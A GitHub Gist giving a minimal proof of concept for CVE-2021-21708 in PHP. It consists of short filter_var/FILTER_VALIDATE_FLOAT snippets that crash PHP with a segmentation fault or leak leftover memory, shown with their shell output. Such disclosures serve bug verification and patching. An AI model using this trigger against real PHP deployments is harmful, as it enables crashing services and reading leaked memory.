Last active
February 19, 2022 00:43
-
-
Save Grebenschikov/072fe0d980cd7de1735284d9bc520159 to your computer and use it in GitHub Desktop.
Minimal CVE-2021-21708 POC
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
❯ php -r "filter_var(str_repeat(1, 2), FILTER_VALIDATE_FLOAT, ['options' => ['max_range' => 1]]); new PDO('mysql:');" | |
zsh: segmentation fault php -r | |
❯ php -r "filter_var(\$v = str_repeat(1, 8), FILTER_VALIDATE_FLOAT, ['options' => ['max_range' => 1]]); echo \$v;" | |
charset% |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
\filter_var(\str_repeat(1, 2), \FILTER_VALIDATE_FLOAT, ['options' => ['max_range' => 1]]); | |
new \PDO('mysql:'); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
\filter_var($v = \str_repeat(1, 8), \FILTER_VALIDATE_FLOAT, ['options' => ['max_range' => 1]]); | |
echo $v; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment